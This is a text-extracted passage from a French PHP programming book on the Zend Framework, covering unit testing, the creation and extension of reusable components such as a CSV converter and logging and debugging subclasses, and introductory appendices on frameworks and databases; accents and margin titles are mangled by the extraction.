il sagit dun algorithme critique qui est utilis souvent et se situe au
cur de votre application : prenez alors 10 minutes pour faire un
test ;
il sagit dun bogue qui ma fait perdre deux heures en rparations :
10 minutes de plus pour dvelopper un test ne vous pnaliseront pas
tant que a.
Pour aller plus loin dans la mthodologie lie aux tests unitaires, il existe
une multitude de rflexions et travaux sur ce sujet travers les mthodes
agiles et les diffrents types de tests (tests de rgression, tests unitaires,
tests de recette, etc.). Nous vous laissons le loisir daller plus loin par vos
propres moyens, ce livre ayant avant tout pour objet le Zend Framework.
En rsum
Les tests de rgression sont un moyen efficace de sassurer que les
rouages dune application fonctionnent malgr les volutions, les chan-
gements de version (du framework ou de PHP) ou encore les spcificits
des environnements dexcution (Windows, Unix...). Il permettent ga-
lement de gagner du temps sur tous les effets de bord dtects lavance
par ce mcanisme. Grce PHPUnit coupl Zend_Test, le dveloppeur
Zend Framework dispose de tout ce dont il a besoin pour dvelopper des
tests adapts son application.
EN SAVOIR PLUS Mthodes agiles
R V. Messager Rota, Gestion de projet
Vers les mthodes agiles, Eyrolles, 2007
R J.-L. Bnard, L. Bossavit, R. Mdina, D.
Williams, Gestion de projet eXtreme
Programming, Eyrolles, 2002
Groupe Eyrolles, 2008
chapitre 15
Groupe Eyrolles, 2008
Utilisation avance
des composants
Savoir crer ses propres composants et utiliser intelligemment
ceux des autres est la cl de la prennit. Tout systme
dinformation digne de ce nom est compos de classes,
de modules et de paquetages embots entre eux, formant
un tout cohrent et exploitable.
SOMMAIRE
BCrer un composant
BAjouter des fonctionnalits
un composant existant
BModifier le comportement
dun composant
MOTS-CLS
Bclasse
Binterface
Bsurcharge
Bdcoration
BPOO
Bbibliothque
Bmodule
Brutilisable
Bgnrique
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
280
Lorganisation des composants de Zend Framework est parfaite pour
mettre en place sa propre bibliothque de composants. Elle incite
mettre en uvre une architecture intuitive et facile utiliser. Mais rien
ne peut remplacer le bon sens et les connaissances du dveloppeur de
composant. Ce chapitre est une introduction la cration de composants
rutilisables par vos propres moyens.
Larchitecture de Zend Framework pouvant tre utilise pour mettre en
place sa propre bibliothque de composants, les composants utilisateurs
peuvent tre indpendants ou non de composants Zend, ou non Zend.
Cette souplesse permet dentretenir un jeu de fonctionnalits standards
et rutilisables.
Il est important de comprendre quels sont le rle et les caractristiques
des composants qui sont stocks dans library. Sans cela, tout lintrt
de lorganisation des sources propose par Zend Framework peut se
rvler inutile.
Dans ce chapitre, vous apprendrez par la thorie et par la pratique com-
ment organiser et dvelopper vos propres composants.
MVC et les bibliothques
Dans un projet Zend Framework, les bibliothques sont situes dans le
rpertoire library tandis que la partie MVC se trouve dans
application. Il est essentiel de savoir juger ce que lon peut mettre dans
chacune de ces parties. Voici la cl dune telle dcision :
Les bibliothques sont des composants rutilisables. Cela signifie
quon peut potentiellement les rutiliser dans plusieurs applications.
Lensemble de celles-ci constitue un vivier de fonctionnalits que lon
peut adapter aux spcificits de chaque application. En dautres
termes, tout ce qui est spcifique une application donne ne se
trouve pas dans le rpertoire library.
La partie MVC, quant elle, concerne essentiellement ce qui est sp-
cifique lapplication : la logique de navigation, le design, laccs aux
donnes. Les composants qui constituent cette partie peuvent tre
plus ou moins rutilisables entre les applications. Il est conseill de les
organiser par modules, responsabilits et paquetages pour privilgier
la rutilisabilit.
1
5


U
t
i
l
i
s
a
t
i
o
n

a
v
a
n
c

e

d
e
s

c
o
m
p
o
s
a
n
t
s
Groupe Eyrolles, 2008
281
Crer un composant utilisateur
Imaginons que nous souhaitions disposer dune fonctionnalit potentiel-
lement rutilisable, qui nexiste pas encore dans les composants de Zend
Framework. Dans ce cas, le bon rflexe est de se pencher sur la ralisa-
tion dun composant utilisateur.
Avant de commencer, il est important davoir en tte quelques rgles
fondamentales pour viter les mauvaises surprises.
Rgles fondamentales et conventions
Mis part les conventions disponibles dans la documentation officielle
de Zend Framework, il y a peu de rgles connatre, mais celles-ci sont
trs importantes. Connatre ces rgles et les respecter vous permettra de
garantir lintgrit et la durabilit de vos dveloppements.
Tous vos composants utilisateurs doivent tre stocks dans le rper-
toire library/<votre_prefixe>, <votre_prefixe> reprsentant une
entreprise, une association, une personne...
Aucune modification nest permise dans le rpertoire library/Zend,
celui-ci appartenant au framework et devant pouvoir tre mis jour
tout moment.
Les composants sont tous des classes, et il ny a pas de fonction orphe-
line, ni de code en dehors des classes. Les rgles de nommage sont pr-
cises et disponibles dans la documentation officielle du framework.
Le nommage des classes, en particulier, est important : il doit corres-
pondre la hirarchie des rpertoires.
Un fichier ne doit comporter quune et une seule classe.
Ces rgles nincluent pas les conventions de dveloppement de Zend
Framework. Le respect de celles-ci est nanmoins trs important. Voici
quelques exemples de conventions Zend Framework respecter :
les noms des dossiers doivent comporter des caractres alphanumri-
ques et respecter la syntaxe CamelCase ;
les noms de classes doivent correspondre au chemin. Par exemple,
une classe situe dans library/Zfbook/Db/Exception.php sappellera
obligatoirement Zfbook_Db_Exception ;
la syntaxe des noms de mthodes et de variables doit tre au format
CamelCase et commencer par une minuscule ;
lindentation se fait au moyen de quatre espaces ;
Vous trouverez toutes les rgles de nommage de Zend Framework
lURL suivante :
http://framework.zend.com/wiki/display/ZFDEV/ZF+Coding+Standards+%28RC%29.
REMARQUE Composant et paquetage
Dun point de vue vocabulaire, un composant peut
tre assimil la notion de paquetage, prsente
notament en Java. Tout simplement, il sagit dun
regroupement de classes effectuant une mme
action logique, et dont les dpendances, internes
ou externes, sont connues et matrises.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
282
Principe et organisation
La figure 15-1 illustre lorganisation, et en particulier les niveaux de
rpertoires respecter dans le dossier library contenant les composants.
Le niveau 0 (RACINE) contient le rpertoire library ainsi que, dans
notre application, les rpertoires application et html.
Le premier niveau (AUTEUR) est un nom de socit, dorganisation ou
dauteur : tous les noms de classes sous-jacentes commenceront par
ce mot cl ! Ici, il sagit de Zfbook, de la mme manire que ce sera
Zend pour les composants officiels du Zend Framework.
Le contenu du rpertoire Zfbook est ddi aux fichiers et dossiers
racines des composants (COMPOSANT). Ce niveau hberge les classes
principales des composants (exemple : Convert.php pour
Zfbook_Convert) et les rpertoires contenant les sous-classes des
composants.
Les sous-classes (SUBCLASSES) appartiennent au composant sous-
jacent et contiennent le code source du composant.
Exemple
Imaginons que nous souhaitions effectuer de multiples conversions
partir de donnes complexes, telles que des collections et des tableaux.
Nous nirons pas jusqu dvelopper un composant toff, mais nous ra-
liserons au moins lessentiel, car une fois que la logique est saisie, le rem-
plissage est intuitif.
Figure 151
Composants rutilisables :
les niveaux de rpertoires
PRCISION Rgles des composants
Toutes les rgles de nommage, dorganisation et
dcriture du code nexistent qu titre indicatif. Le
Zend Framework utilise celles que nous vous pr-
sentons dans ce chapitre, et vous pouvez tout
fait utiliser vos propres rgles, partir du moment
o elles sont tablies, claires et admises. ce
sujet, la classe Zend_Loader_PluginLoader
peut se rvler trs utile.
1
5


U
t
i
l
i
s
a
t
i
o
n

a
v
a
n
c

e

d
e
s

c
o
m
p
o
s
a
n
t
s
Groupe Eyrolles, 2008
283
Modlisation minimale
Le premier travail consiste effectuer une modlisation minimale. Nous
allons penser la manire dont sera organis le code pour remplir les
objectifs fixs, que voici :
permettre la conversion dun tableau en chane de caractres CSV ;
avoir une architecture extensible qui puisse accueillir dautres types de
conversions ;
utiliser ces fonctionnalits partir de la classe principale, par commodit.
Dun point de vue technique, voici ce que nous pouvons en dduire :
la classe principale, que nous appellerons Zfbook_Convert, se com-
portera comme une Fabrique (factory) ;
pour chaque type de conversion, une classe de support de format sera
cre, de type Zfbook_Convert_<nom_du_format> ;
chaque classe de conversion gnrera des exceptions personnalises
en cas de problme ;
une interface sera mise en place pour fixer le squelette des classes de
support des formats.
Sur la figure 15-2 apparaissent les dossiers et fichiers crer pour mettre
en place le composant. Leur nombre peut paratre imposant pour une
simple fonction de conversion, mais rappelons-nous que ce composant
est amen grossir avec la prise en compte dautres formats.
MOTIF DE CONCEPTION Fabrique
La Fabrique est un motif de conception, ou design
pattern. Ces notions objet avances sont traites
en annexe D.
Figure 152
Organisation du composant Zfbook_Convert
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
284
Quels sont ces fichiers et en quoi nous sont-ils utiles ?
Zfbook/Convert.php contient la classe racine, qui se comporte
comme une fabrique et permet donc laccs lensemble des fonc-
tionnalits des classes sous-jacentes.
Zfbook/Convert/Csv.php contient les algorithmes de conversion au
format CSV. La classe Zfbook_Convert_Csv implmente linterface
Zfbook_Convert_Interface.
Zfbook/Convert/Exception.php et Zfbook/Convert/Csv/
Exception.php contiennent les classes dexception personnalises,
lies au composant, qui sont utilises en cas derreur lexcution.
Zfbook/Convert/Interface.php contient une interface qui oblige les
classes de support avoir des mthodes de conversion homognes.
Enfin, le schma UML (diagramme de classes) de notre composant est
illustr sur la figure 15-3.
Implmentation du composant
Une fois larchitecture des fichiers et des dossiers mise en place, nous
pouvons sans plus tarder passer limplmentation. Dans un premier
temps, voici la manire dont nous souhaiterions utiliser le composant :
Fichier html/examples/zfbook_convert.php : conversion dun tableau en CSV
Le rsultat produit par lexcution de ce code devrait tre le suivant :
Excution de zfbook_convert.php
<?php
// Un tableau deux dimensions
$dataArray = array();
$dataArray[] = array('Salle', 'Debut', 'Fin', 'Qui');
$dataArray[] = array('REU02',
'15/06/2008 14:30',
'15/06/2008 16:30',
'Service, "informatique"');
$dataArray[] = array('REU04',
'15/06/2008 15:30',
'15/06/2008 17:00',
'Direction');
// Conversion en CSV
$converter = Zfbook_Convert::getConverter(Zfbook_Convert::CSV);
echo $converter->convertFromArray($dataArray);
Figure 153 Diagramme de classes
du composant Zfbook_Convert
"Salle","Debut","Fin","Qui"
"REU02","15/06/2008 14:30","15/06/2008 16:30","Service, \"informatique\""
"REU04","15/06/2008 15:30","15/06/2008 17:00","Direction"
1
5


U
t
i
l
i
s
a
t
i
o
n

a
v
a
n
c

e

d
e
s

c
o
m
p
o
s
a
n
t
s
Groupe Eyrolles, 2008
285
Voici maintenant, fichier par fichier, limplmentation du composant
utilisateur tel que nous lavons architectur.
Zfbook/Convert.php
Le principal intrt de la classe Zfbook_Convert est de donner accs aux
classes de conversion via la mthode statique getConverter(). Cette der-
nire prend en paramtre le type de convertisseur. Cette mthode prend
galement en paramtre un nom de convertisseur. Elle instancie la classe
correspondante et vrifie quil sagit bien dune classe de conversion qui
implmente linterface Zfbook_Convert_Interface.
Zfbook/Convert/Interface.php
<?php
/**
* Conversion de donnes
*/
abstract class Zfbook_Convert
{
const CSV = 'csv';
/**
* Retourne linstance dune classe de conversion
*
* @throws Zfbook_Convert_Exception
* @return Zfbook_Convert_Interface
*/
public static function getConverter($converter)
{
$class = 'Zfbook_Convert_' . ucfirst(strtolower($converter));
if (!class_exists($class, false)) {
throw new Zfbook_Convert_Exception("Class $class not found");
} else {
$reflexionClass = new ReflectionClass($class);
if (!$reflexionClass->implementsInterface('Zfbook_Convert_Interface')) {
$msg = "Class $class doesn not implement Zfbook_Convert_Interface";
throw new Zfbook_Convert_Exception($msg);
}
}
return call_user_func(array($class, 'getInstance'));
}
}
<?php
/**
* Interface permettant de rdiger des convertisseurs
*/
interface Zfbook_Convert_Interface
{
/**
* Nos classes sont des singletons
*
ASTUCE Compltion
Les diteurs PHP volus permettent la compltion
des mthodes de classes grce au tag PHPDoc
@return. Dans le cas de
Zfbook_Convert::getConverter(),
Zfbook_Convert_Interface est men-
tionne, ce qui permet la compltion sur
lensemble des mthodes dclares dans linter-
face.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
286
Linterface Zfbook_Convert_Interface oblige les classes de conversion
possder les mthodes getInstance() et convertFromArray(). Cela
permet de sassurer que toutes ces classes possdent ces fonctionnalits et
quon peut les utiliser de la mme manire (on appelle cela la program-
mation par contrat).
Zfbook/Convert/Csv/Exception.php
Dans Zend Framework, les exceptions forment une chane. Ainsi, nous
pouvons savoir, selon le type de lexception qui a t lance, sil sagit
dun problme dans la conversion CSV (Zfbook_Convert_Csv_Exception)
ou dans le composant Convert (Zfbook_Convert_Exception), ou encore
dans les bibliothques Zfbook (Zfbook_Exception).
Les classes mres de Zfbook_Convert_Csv_Exception (Zfbook_Convert_
Exception et Zfbook_Exception) ne sont pas reprsentes, mais il est ais
de les crire selon le mme principe.
ZfbookConvert/Csv.php
* @return Zfbook_Convert_Interface
*/
public static function getInstance();
/**
* Conversion depuis un tableau
*
* @param array $array
*/
public function convertFromArray($array);
}
<?php
/**
* Exception pour le convertisseur CSV
*/
class Zfbook_Convert_Csv_Exception
extends Zfbook_Convert_Exception
{}
<?php
/**
* Outils de conversion CSV
*/
class Zfbook_Convert_Csv implements Zfbook_Convert_Interface
{
/**
* Retourne linstance du singleton
*
* @return Zfbook_Convert_Csv
*/
1
5


U
t
i
l
i
s
a
t
i
o
n

a
v
a
n
c

e

d
e
s

c
o
m
p
o
s
a
n
t
s
Groupe Eyrolles, 2008
287
public static function getInstance()
{
static $instance = null;
if ($instance === null) {
$instance = new self();
}
return $instance;
}
/**
* Construit un tableau au format CSV
*
* @param array $array
* @return string
*/
public function convertFromArray($array)
{
$retVal = '';
if (!is_array($array)) {
$msg = 'Array required';
throw new Zfbook_Convert_Csv_Exception($msg);
}
// Gnration du fichier temporaire
$fd = fopen('php://temp', 'r+');
foreach ($array as $item) {
fputcsv($fd, $item, ';&apos;, '"');
}
rewind($fd);
// Rcupration des donnes et expdition
$csvContent = stream_get_contents($fd);
fclose($fd);
return $csvContent;
}
private function stripQuotes(&$str)
{
$str = str_replace('"', '\"', $str);
}
private function __clone()
{
}
private function __construct()
{
}
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
288
Voici enfin la classe de conversion CSV qui, par lintermdiaire de la
mthode convertFromArray(), effectue lopration utile du composant.
Cette classe est un singleton (elle na pas vocation avoir plusieurs instances).
Voil comment il est possible de crer un composant utilisateur respec-
tant les standards du Zend Framework, donc facilement intgrable du
fait de lhomognit gnrale. Avec suffisamment de mthodologie
objet, il est possible de grer une large palette de fonctionnalits rutilisa-
bles, limage de Zend Framework, par exemple.
Driver un composant existant
Il se peut que, pour diverses raisons, le besoin de modifier ou de complter
un composant Zend existant se fasse sentir. Pour cela, rien de plus horrible
que de se mettre dvelopper dans les classes Zend proprement dites...
Cette section explique comment mettre en place un composant utilisa-
teur qui va tendre un composant Zend pour le complter et modifier
son comportement.
Rgles fondamentales
Avant tout, voici quelques rgles fondamentales, qui ressemblent pour la
plupart aux rgles mises prcdemment.
Il est interdit de modifier quoi que ce soit dans le rpertoire library/
Zend. Ce rpertoire est rserv exclusivement aux sources de Zend
Framework. Toute modification altrerait les possibilits de mise
jour des sources ainsi que, potentiellement, le fonctionnement des
composants du framework.
Les conventions expliques dans la documentation officielle de Zend
Framework doivent tre respectes (http://framework.zend.com/wiki/
display/ZFDEV/ZF+Coding+Standards+%28RC%29).
Les classes utilisateurs qui tendent les composants Zend doivent
tre situes dans le rpertoire library/<votre_prefixe>,
<votre_prefixe> reprsentant une personne, une association ou une
entreprise (voir figure 15-1).
Si possible, le composant utilisateur doit avoir le mme suffixe que le
composant Zend. Par exemple, un composant qui tend Zend_View
sappelera Zfbook_View.
1
5


U
t
i
l
i
s
a
t
i
o
n

a
v
a
n
c

e

d
e
s

c
o
m
p
o
s
a
n
t
s
Groupe Eyrolles, 2008
289
Ajouter une fonctionnalit un composant
Nous allons simplement redfinir le composant Zend_Log, en lui ajoutant
une fonctionnalit qui va permettre denregistrer la trace dappel PHP en
plus du message de journalisation ceci grce la fonction PHP
debug_backtrace().
Fichier Zfbook/Log.php
Remarquez que Zfbook_Log tend Zend_Log de manire ce quon puisse
utiliser la premire classe comme si ctait la seconde. Voici maintenant
la manire dont on peut utiliser la nouvelle classe Zfbook_Log :
Utilisation de Zfbook_Log
Modifier le comportement dun composant
Il est aussi possible de modifier le comportement dun composant,
notamment celui dune mthode. Si celle-ci nest pas estampille final,
il est possible de la redfinir dans une classe fille.
Voici comment nous pouvons modifier le comportement de la mthode
Zend_Debug::dump() en faisant en sorte que, si la variable attribue en
paramtre est un objet qui contient une mthode __toString(), celui-ci
soit affich par ce biais.
<?php
/**
* Extension de Zend_Log
*/
class Zfbook_Log extends Zend_Log
{
const DEBUG_BACKTRACE = 8;

/**
* Enregistre dans le log la trace dappel PHP
*/
public function debug_backtrace($message = null)
{
list($backtrace) = debug_backtrace();
unset($backtrace['object']);
$backtrace = print_r($backtrace, true);
$toLog = $message . $backtrace;
return $this->log($toLog, self::DEBUG_BACKTRACE);
}
}
// cration dun log avec affichage sur lcran
$log = new My_Log(new Zend_Log_Writer_Stream('php://output'));
// essai de notre nouvelle mthode
$log->debug_backtrace('Something happened');
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
290
Ajout dun complment Zend_Debug::dump()
La mthode Zfbook_Debug::dump() aura exactement le mme comporte-
ment que Zend_Debug::dump(), sauf lorsque le paramtre $var contient
un objet dot dune mthode __toString().
Test du nouveau dump
Ce code exemple montre comment tester la nouvelle fonctionnalit
Zfbook_Debug::dump(). Il fait appel la mthode __toString() de la
classe Test alors que Zend_Debug::dump() affiche la structure et le con-
tenu de lobjet.
Simplifier laccs un ou plusieurs composants
Certains composants du Zend Framework peuvent tre difficiles ou fasti-
dieux utiliser. Dans ce cas, pourquoi ne pas mettre en place un systme
<?php
/**
* Extension de Zend_Debug
*/
class Zfbook_Debug extends Zend_Debug
{
// Prototype de dump tel quil est dclar dans Zend_Debug
public static function dump($var, $label = null, $echo = true)
{
// Sil sagit dun objet qui contient __toString(),
// remplacer le contenu de $var par la valeur de retour
// de __toString().
if (is_object($var) &&
method_exists($var, '__toString')) {
$var = $var->__toString();
}
// Appel de la mthode dump() parente
return parent::dump($var, $label, $echo);
}

// ...
}
class Test
{
public function __toString()
{
return 'OBJ: ' . __CLASS__;
}
}
$test = new Test();
Zfbook_Debug::dump($test);
1
5


U
t
i
l
i
s
a
t
i
o
n

a
v
a
n
c

e

d
e
s

c
o
m
p
o
s
a
n
t
s
Groupe Eyrolles, 2008
291
qui simplifie son utilisation ? Cest le rle du design pattern Faade, qui
trouvera parfaitement sa place dans un composant utilisateur.
Un bon exemple de simplification de composant est prsent dans le
chapitre 10 concernant le cache. La classe Zfbook_Cache a pour rle de
simplifier lutilisation du cache. Les manipulations sur Zend_Cache sont
assures par Zfbook_Cache et sont totalement transparentes pour le dve-
loppeur. De plus, Zfbook_Cache est une classe statique qui na pas besoin
dtre instancie pour tre utilise. Voici le squelette de cette classe :
Squelette de la classe Zfbook_Cache
<?php
/**
* Une classe qui simplifie lutilisation du cache
*/
class Zfbook_Cache
{
private static $_cache = null;
private static $_lifetime = 3600;
private static $_cacheDir = null;
// Fonction dinitialisation appele par toutes
// les mthodes publiques.
private static function init()
{
// Si ce nest pas fait, charge le meilleur backend
// entre APC et File.
}
// Fonction de setup utile pour le bootstrap uniquement
public static function setup($lifetime, $filesCachePath)
{
// ...
}
// Insertion dans le cache
public static function set($data, $key)
{
// Appel de la mthode dinsertion du backend courant
}
// Retrait dune valeur du cache
public static function get($key)
{
// Appel de la mthode de retrait du backend courant
}
// Nettoyage du cache
public static function clean($key = null)
{
// Appel de la mthode de nettoyage du backend courant
}
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
292
Ce squelette document illustre les algorithmes mettre en place pour
disposer dune classe daccs au cache simple et performante. Une
implmentation de cette classe est prsente dans le chapitre 10.
Intgrer un composant externe
Il se peut quun composant externe soit utilis dans Zend Framework.
Dans ce cas, laccs ce composant peut se faire via la mise en uvre
dun composant utilisateur. Par exemple, si vous avez lhabitude dutiliser
Smarty comme moteur de templates, la mise en place dun composant
Zfbook_Smarty est la meilleure manire dintgrer la classe Smarty
lapplication. Le stockage du code de Smarty peut se faire dans la hirar-
chie sous-jacente du composant ou dans un rpertoire part, en fonction
de vos besoins. Cela dit, il est recommand de stocker le code externe
dans un rpertoire part pour simplifier la maintenance.
Lintgration dun composant externe se fera principalement grce un
design pattern adaptateur. Aussi, pour que deux composants puissent
fusionner, il faut quils proposent tous les deux une API permettant cette
fusion partielle. Une fois de plus, un bon design logiciel est ncessaire.
Lintgration de Smarty est dcrite dans la documentation officielle de
Zend Framework, ladresse suivante :
http://framework.zend.com/manual/en/zend.view.scripts.html#zend.view.scripts.templates
// Mthode utilise pour rcuprer la classe de cache Zend
// Utile pour linitialisation de certains composants dans
// le bootstrap.
public static function getCacheInstance()
{
// Retourne lobjet Zend_Cache courant
}
}
CONSEIL Faire collaborer intgrateur
et dveloppeur
Ce principe de simplification par des classes stati-
ques est intressant pour favoriser la collaboration
dintgrateurs qui ne sont pas familiariss avec la
POO et de dveloppeurs chevronns. En effet, la
simplicit dutilisation de ces classes est ddie
lintgrateur, tandis que limplmentation sous-
jacente est la charge du dveloppeur.
EN SAVOIR PLUS Smarty
Smarty est un moteur de template trs utilis avec
PHP. Contrairement Zend_View, il utilise un
mtalangage tanche au code PHP sous-jacent.
Bhttp://smarty.php.net
1
5


U
t
i
l
i
s
a
t
i
o
n

a
v
a
n
c

e

d
e
s

c
o
m
p
o
s
a
n
t
s
Groupe Eyrolles, 2008
293
En rsum
Crer ses propres composants ncessite une bonne mthodologie, que ce
soit au niveau de la conception logicielle objet comme de lorganisation.
Il faut sans arrt se poser la question du futur : Et si un jour jai besoin
de..., vais-je facilement pouvoir le faire ? La refonte de code et les tests
sont ce titre plus quimportants.
Aussi, nous vous proposons de suivre les conventions de Zend Fra-
mework dans vos dveloppements, de manire bien programmer de
faon homogne, sans perdre de temps sur des questions comme :
Dans quel fichier vais-je bien pouvoir placer cela ? O placer ce
fichier ? Vous aurez ainsi tout le loisir de vous pencher sur des probl-
matiques bien plus complexes mais combien stimulantes !
Groupe Eyrolles, 2008
annexes
Groupe Eyrolles, 2008
A
Quest-ce quun
framework ?
Souvent employ pour dsigner tout et nimporte quoi, le mot
framework na pas toujours une dfinition trs claire. Pourtant,
les frameworks sont aujourdhui des outils stratgiques
qui favorisent les bonnes pratiques : gagner du temps,
rutiliser, tester, stabiliser.
SOMMAIRE
BDfinition et rles
dun framework
BLe framework au service
des dveloppements web
MOTS-CLS
Bframework
Brutilisabilit
Bcomposant
Bbibliothque
Bconventions
Borganisation
Barchitecture
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
296
Nous proposons dans cette annexe une explication prcise et concise de
ce quest un framework : sa dfinition, ses objectifs. Aprs une courte
introduction, nous aborderons ensuite lutilit de cet outil pour des dve-
loppements web. Ces fondamentaux sont valables pour tous les fra-
meworks, et ne concernent pas seulement Zend Framework.
Dfinition et objectifs
Le mot framework est la mode dans le monde PHP. Si nous devions le
dfinir , nous dirions quil sagit :
dun ensemble de composants PHP qui interagissent ;
dun ensemble de rgles darchitecture et de dveloppement.
Un framework se greffe sur un langage. On peut considrer le langage
comme tant de bas niveau et le framework comme tant de haut niveau,
car les ressources offertes par le framework sont plus proches du raison-
nement humain (mtier) que celles proposes par le langage. Concrte-
ment, cela signifie que pour dvelopper une mme fonctionnalit, on
aura besoin de moins de lignes de code avec un framework que sans.
Les objectifs pratiques dun framework sont multiples :
fournir un ensemble de composants fiables et tests ;
favoriser le travail plusieurs en instaurant des rgles de programma-
tion cohrentes ;
proposer une mthodologie et une organisation du travail qui per-
mettent de maintenir un code source organis.
Figure A1
Dveloppement avec un Framework
A


Q
u

e
s
t
-
c
e

q
u

u
n

f
r
a
m
e
w
o
r
k
?
Groupe Eyrolles, 2008
297
Dun point de vue stratgique, nous pouvons en dduire les apports
suivants :
un temps de travail rduit pour des rsultats plus fiables ;
la durabilit assure du code source, le support de la socit Zend ;
une capacit voluer optimale, qui assure des gains moyen et long
terme.
Ainsi, le framework trouve toute son utilit en particulier dans le monde
de lentreprise, puisquil permet :
aux dveloppeurs : dutiliser des composants communs que tout le
monde connat, en vitant ainsi de rinventer ce qui existe dj ;
aux chefs de projets : de fiabiliser les ressources humaines et dorganiser
des dveloppements sur la base dun outil connu et matris ;
aux architectes et ingnieurs logiciel : de btir des modles bass sur la
programmation oriente objet et une organisation pratique des
classes, des interfaces, des paquetages et des composants.
Le framework au service du dveloppement web
Le framework rpond plusieurs problmatiques trs particulires au dve-
loppement web, que nous allons traiter dans les les sections qui suivent.
Risques et prils des pratiques courantes
Face un problme unique, diffrents dveloppeurs vont mettre en uvre
diffrentes solutions : il y aura donc autant de solutions que de dveloppeurs.
Or, toutes ces solutions ne se valent pas : laquelle sera la meilleure ? la plus
performante ? la plus scurise ? la plus facile tester et maintenir ?
Comment faire en sorte quun dveloppeur A puisse lire, comprendre,
assimiler et modifier un programme crit par un dveloppeur B ?
Par ailleurs, les dveloppements web, en particulier lorsquils sont effectus
avec PHP, gnrent beaucoup de redondances. Chaque application propo-
sera une solution technique pour laccs aux donnes, lauthentification,
lchange de donnes, etc. Et si chaque application web est unique, les
concepts fondamentaux restent sensiblement les mmes. Comment alors
rutiliser au maximum les parties communes ces dveloppements ?
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
298
Le framework la rescousse
Le framework permet dhomogniser les pratiques de dveloppement
au sein dune quipe de projet, en proposant une base de travail et des
conventions prdfinies. De plus, il favorise la rutilisation de par son
organisation et ses ressources prdveloppes. Il en rsulte un gain de
temps et de qualit extrmement important dans le cadre de dveloppe-
ments professionnels.
PHP est un langage qui propose un modle objet complet, que Zend
Framework exploite pleinement dans le cadre dune organisation efficace
et cohrente, adapte au dveloppement de projets ambitieux.
Les composants dun framework PHP sont reprsents physiquement
par un ensemble de fichiers, tous crits en PHP et hirarchiss de
manire prcise dans une arborescence de rpertoires. Chaque compo-
sant est constitu dun ensemble de fichiers et propose une fonctionna-
lit rutilisable et personnalisable.
Figure 12 Principe de la rutilisabilit avec un framework
A


Q
u

e
s
t
-
c
e

q
u

u
n

f
r
a
m
e
w
o
r
k
?
Groupe Eyrolles, 2008
299
Inconvnients du framework
Nul nest pas parfait et le framework nchappe pas cette rgle.
Tout dabord, sa manipulation peut tre difficile apprendre et ma-
triser, en particulier pour les dveloppeurs qui ne connaissent pas bien la
programmation objet. En effet, un framework comme Zend Framework
exploite largement le modle objet de PHP, avec, entre autres, de nom-
breux design patterns, concepts objets souvent assez pousss, quil con-
vient de bien comprendre.
Ensuite, tant donn quil se situe un niveau au-dessus de PHP et quil
fait appel des technologies trs diverses (XML, JSON, HTTP, SQL...)
il est important de matriser tout cela avant de se lancer dans la dcouverte
de ses composants. Car sil est certes possible de conduire une voiture sans
en connatre tous les rouages techniques, comprendre son fonctionnement
permet une meilleure conduite, plus conomique, et lorsquune panne
arrive, on sait en gnral la rparer, ou tout du moins la localiser.
Enfin, limpact dun framework sur les performances du serveur est loin
dtre ngligeable. Il est ainsi ncessaire de bien apprhender le fonc-
tionnement du framework, celui de PHP et de tout son cosystme,
notamment le serveur web, afin de faire face cette difficult qui trouve
heureusement de nombreuses solutions.
Figure A3
Organisation hirarchique
de Zend Framework
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
300
En rsum
Il faudra retenir au moins lessentiel : sa dfinition et ses quatre rles
fondamentaux. Un framework est une base de travail qui permet dorga-
niser et dacclrer les dveloppements. Il permet de :
fournir des composants rutilisables ;
proposer une architecture, cest--dire des rgles dorganisation pour
les dossiers, les fichiers et ce quils doivent contenir ;
fournir des conventions de dveloppement ;
fournir ventuellement des outils de dveloppement et de mainte-
nance.
Groupe Eyrolles, 2008
B
Bases de donnes
Toute application, quelle quelle soit, manipule des donnes.
Les systmes de gestion de bases de donnes (SGBD) jouent
alors un rle essentiel : fournir un service efficace de stockage
et dextraction des donnes. Le choix du SGBD et de ses
outils, le schma de la base et la configuration de cet ensemble
sont autant de sujets stratgiques qui requirent la plus grande
attention. Comprendre les notions essentielles lies aux bases
de donnes est un point de dpart ncessaire pour garantir
performance, stabilit et durabilit vos applications.
SOMMAIRE
BQuest-ce quun SGBD ?
BCouches dabstraction
BNotions avances
MOTS-CLS
Bbase de donnes
BSGBD
BCRUD
BORM
BPDO
BSQL
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
302
Cette annexe balaye les notions essentielles lies aux bases de donnes
pour PHP, commencer par comprendre ce quest rellement un SGBD,
puis comment se fait la connexion entre un SGBD et PHP. Dautre part, il
existe de nombreux outils en PHP pour simplifier les manipulations de
donnes stockes dans des bases. Ces outils sont-ils performants ? Garan-
tissent-ils la durabilit de lapplication ? Leur choix est-il pertinent ? Nous
vous proposons ici de quoi juger par vous-mmes.
En revanche, cette section na pas pour vocation de vous apprendre SQL
et dentrer dans les dtails dutilisation dun SGBD. Il fait simplement
figure de rappel des notions essentielles.
Quest-ce quun SGBD ?
